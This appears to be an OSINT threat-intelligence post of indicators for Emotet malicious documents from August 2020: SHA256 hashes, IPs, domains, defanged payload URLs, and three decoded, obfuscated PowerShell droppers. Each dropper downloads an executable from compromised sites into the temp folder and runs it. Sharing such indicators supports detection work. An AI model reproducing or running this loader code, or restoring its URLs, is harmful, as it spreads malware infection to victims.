Emotet_Doc_out_2020-08-14_13_48.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

09ed8b6f2f07050897fdd9dda9d04f3caacc056ba365a7a3c94f695ac2be3fcf
e730cd1796260470f6b92edd0a5a598a93ce933dc7a08b1922eebc9f64c273ea
25e15d77449db7df577919161ec0652470ab5163eefd3cfc0627ee26562a5386
d0b3a8dae97e6540099bc5ea433036c644b4dfcc23c65fcd00726b6213052166
21ad360912dcdb13ba7704f1944b0348a4702da73da8296f44d10864edead13c
6e1291bf2e422791c6b4abb7f2e1b3d1a79264db6091c37b93c92e4ef6a2b903
4224ab617f1d279d685d5118d8e44c93ca48d0ccf61d98ebf56e807a60be6d50
257de0902528f3f25c665e4dcf0acc12776dfdfdfe944e352a82a44a570d15f0
ed1dc24ea419e159f8a379119aa44ded9de3ea1a4a2d624a716f3161f8b8b364
b2c01fc1bb6ac0a7a2adfbf41ecf863484403df992133a8b237c613b967f1b93
41bf6fae061d1cb621549ff9961eca7a61ac789aa4b744c7fd50fd6ff1ae1b03
e9adc2574a12d38b7450beea8a3a74cb2e496fbd7948ea36277990790955a742
a148893b99ef0f228eec68012ab062abf71a52ea2c33115abbd90affc4dfce7c
56d15a37c03318b81b49de30577cabf247bbf6d0957ef9ff583b45e6a32686ed
05ad0e7a35af16a4eb233a9da421e104deaba59be8f1e1b57625fa17b86cac5a
5f4d7b7460ead4d31cd6e5a3e5f24402e018eb4c443cc4473c57d222f60409d6
fddf4cab73e6e2ff5c40c7fee09d52d5eb903e6bd17ad77aa292c6ded707f394
aa6d1d92278957eef1af09829bba94b4b37a84b56cb33e65cd070f7ada92e244
bd379f0e0dcc9c8c75d70a99df9f95dc56d70fd92cbf446a21dcb7b22ded59f9
34b90b804ac07f37b48a7437f520d80dd3efe9bc79c96c722240c63d9e457164
015990746f332cc1ad898d46ef3de53f4ffc95d723ccd19bea5fc12b95f86b47
a5f57f7cf9288f13cd7e297715c8e108eb7cafb64d3f8241811e872196857d08
79c7463e43d45b9b6f904dac346635421e52e2f126f22b855b533a85715ae3c4
0938a3eb8d86fa634cbaa1f643bd2c6cafcdacba202e4683cf7245705bd11fb3
f523aff3c84442e44928978658eb8c149f52b13fb02685ac190f07486805ac1d
efd285d45835c318c4e079fae4840399a89ae40bf6134dac6cef9e7483e9680c
13425d91c0471208df6a06b23e5f176fea8637422e82c95f1ecd534aadda855b
642f6238f4c26f7e8829b4739309809c5b2ec80f58e0beb4df4cbfdfd8ebe42a
60f8488fdb7df1654b540cffa5a6b15006c90ab03e4cfbc618d7594c813c252d
b7d6667d41aee07e4638ac69da798b1bac53ac3d2cd0a6be043eee3a037f3e84
c279acf3f34eb373c07f993ad96a86e95c00a060e19e755badf9c9abc500b6e7
c7d8be22d5926e4e9ac2070fb940ff3e1018005732ba84890fdb1dc9a9cef1c5
36e10a07c4c821efd9a7a06789c484f17bbb946e53e720f7c2ecdbc382aa53f1
902d2b8ab0dff087c63a3f89010de4a0a98418836ce2f0c2c45892596cb7cf3c
44df25008eeb1935b20a9644009254547fd2383e6f070ccf54a370878a318c52
adeac3c1a0bd0d5b65051c187f7dcd7502197924c88c53902fd4c056f66052b2
f740ad05fe75e146443ce0776602fc5828a534f28e1e2f34a1d785083de85bd1
5c50ee5c1f60df232552b620f20eef1f3503afea5bc5cf86424f762360e8be72
8b4e8b50c360b95d195703ad195d00458ff4c34b9623a93351f5f0088a5794e4
5d8fe26726cded91ab5d94393148de171998e6eb27b8384ca99a5909665d51f8
9cabf68f5aa15a4340bf6941cf07cbdba5a0f3054396c9c8c6ef9217403aa54a
60c3ad8ff010225fb816da37297ec66b8c388850afb7563ae1dcb8f38256ab40
153119af254f07118dac674ce1c4a016730b420c65f78e4709e6125b86618e03
21eaab298797e34a8cc7d0324e0831eb4359d7426a403d4be62b5161042f36ef
02cb5039ed7db8093f526855e8f8db4adc43369f633e82136bb27dd601438b5b
34ab8fe6af0636fccfec46143fd40f0d6e39c342bb3cb8997ab0e3d634623a97
50f8f0b41b29fbf8af2aa7b305a29880af7a7938ae7dac485bc8fd67b3a86daf
e7afd7717eb8f499b5e9caca0472e948706b630369f69652aeecf9488d9d78ff
40ea707dc1f0977f047e39b26b74f946e686085d45e5e66ffce547e894e30d9a
b9b1e24ee670fcf372ef4a1f9911ff2da94fcae64031ee984d730d764ce0b499


IPs:
128.201.72.245
35.209.84.178
45.158.14.4
64.29.151.221
66.61.94.36

Domains:

amyemitchell.com
lordtakipci.com
stoutarc.com
uaisoftware.com.br


hxxps://uaisoftware.com.br/site/QOe0keu299/
hxxp://randysino.com/vxghj/udI/
hxxps://www.galaxyastronomist.com/wp-admin/NRqx7nz6952/
hxxps://www.renntech.nl/wp-includes/soPqeNx/
hxxp://electrowifi.es/translations/7RE8qj5mvz825172005/
hxxp://amyemitchell.com/themes/xJlzv0oI/
hxxp://stoutarc.com/assets/WuwT30056/
hxxp://lordtakipci.com/wp-admin/qQlR04NcL/
hxxp://shopeeinfo.com/wp-includes/J3946/
hxxp://www.scootervenlo.nl/ww2015/U6HK1839/
hxxps://agenciann.com/wp-admin/w_8_8sfn6v/
hxxps://swingalgo.com/wp-content/5_rftsk_1vraz/
hxxp://lifepartner.hk/wp-includes/b22fd_k_x2h9n0/
hxxp://lt-pet.com/wp-admin/sb_vv_jud/
hxxps://2.c8xtt.com/config.wool/q07p_6p9i_xa/


Decoded Base64 Powershell:
$DXRYHhvd='QVLXUfbv';
[Net.ServicePointManager]::"SEc`UR`ityPRo`TOcol" = 'tls12, tls11, tls';
$VJIXKfpj = 'Qxfg';
$QEYEFrrx='UYYAIzjd';
$ILGSOmkt=$env:temp+'\'+$VJIXKfpj+'.exe';
$WKZTXayo='WOPSDxph';
$FTAZLrdb=.('new'+'-obje'+'ct') NeT.wEBcliEnT;
$XVBAYkzo='hxxps://uaisoftware.com.br/site/QOe0keu299/
hxxp://randysino.com/vxghj/udI/
hxxps://www.galaxyastronomist.com/wp-admin/NRqx7nz6952/
hxxps://www.renntech.nl/wp-includes/soPqeNx/
hxxp://electrowifi.es/translations/7RE8qj5mvz825172005/'."s`PlIt"([char]42);
$ZDBEMpmb='YTWBLmxj';
foreach($OHKKIdeg in $XVBAYkzo){try{$FTAZLrdb."DOwn`l`oA`dFiLE"($OHKKIdeg, $ILGSOmkt);
$OXHYGqou='PBVALbnk';
If ((.('Ge'+'t-Item') $ILGSOmkt)."L`e`NGTh" -ge 20321) {.('Invoke-It'+'e'+'m')($ILGSOmkt);
$RYKGWnzv='UDCVUcak';
break;
$BXLQSgwz='XIUOBmzr'}}catch{}}$EQKKGvgz='MGAYLqij'$JGXXTxos='VKNRRabx';
[Net.ServicePointManager]::"SECU`R`i`T`ypRotOCoL" = 'tls12, tls11, tls';
$YXUCVlys = 'Pxdx';
$JTNUVljl='KHRLCnln';
$JGYANksu=$env:temp+'\'+$YXUCVlys+'.exe';
$LULXKhhg='AYVAPwnw';
$SNCNIngw=&('n'+'ew-o'+'bject') neT.wEbcLienT;
$DKHCOist='hxxp://amyemitchell.com/themes/xJlzv0oI/
hxxp://stoutarc.com/assets/WuwT30056/
hxxp://lordtakipci.com/wp-admin/qQlR04NcL/
hxxp://shopeeinfo.com/wp-includes/J3946/
hxxp://www.scootervenlo.nl/ww2015/U6HK1839/'."S`Plit"([char]42);
$JZCDJnka='AFXNLcwr';
foreach($LHWIZkvi in $DKHCOist){try{$SNCNIngw."Dow`Nload`Fi`Le"($LHWIZkvi, $JGYANksu);
$LMJGNpqi='PJSUYfjc';
If ((&('G'+'et-Ite'+'m') $JGYANksu)."LEn`gtH" -ge 30472) {&('Invo'+'k'+'e-It'+'em')($JGYANksu);
$HLYMJbha='NMSEXubk';
break;
$DMNMAzvr='FGRDJpyj'}}catch{}}$MZZEGouv='WEVAWvoy'$ONBDPvqk='OOAJGizn';
[Net.ServicePointManager]::"s`eC`U`RItyP`RotOCoL" = 'tls12, tls11, tls';
$YWCINvoa = 'Uqhg';
$NHIKHjsu='DVCSKsdw';
$GMLAAsqw=$env:temp+'\'+$YWCINvoa+'.exe';
$KQICIpoq='JABYTwoa';
$GWQNHstg=.('n'+'ew-'+'object') neT.WebcliEnT;
$IHSDEyjd='hxxps://agenciann.com/wp-admin/w_8_8sfn6v/
hxxps://swingalgo.com/wp-content/5_rftsk_1vraz/
hxxp://lifepartner.hk/wp-includes/b22fd_k_x2h9n0/
hxxp://lt-pet.com/wp-admin/sb_vv_jud/
hxxps://2.c8xtt.com/config.wool/q07p_6p9i_xa/'."s`pLIT"([char]42);
$VFOGRquk='GOYGKxzw';
foreach($BIOSVghy in $IHSDEyjd){try{$GWQNHstg."do`W`NLoadFIle"($BIOSVghy, $GMLAAsqw);
$RKZSVrpj='SFBGDkyh';
If ((&('Ge'+'t-I'+'tem') $GMLAAsqw)."Le`Ng`Th" -ge 33692) {.('Inv'+'oke'+'-Ite'+'m')($GMLAAsqw);
$DZRHYjhb='CPDZWgxp';
break;
$CJXRHwcf='AKOICfxt'}}catch{}}$ZDBJNpth='OFFAGuef'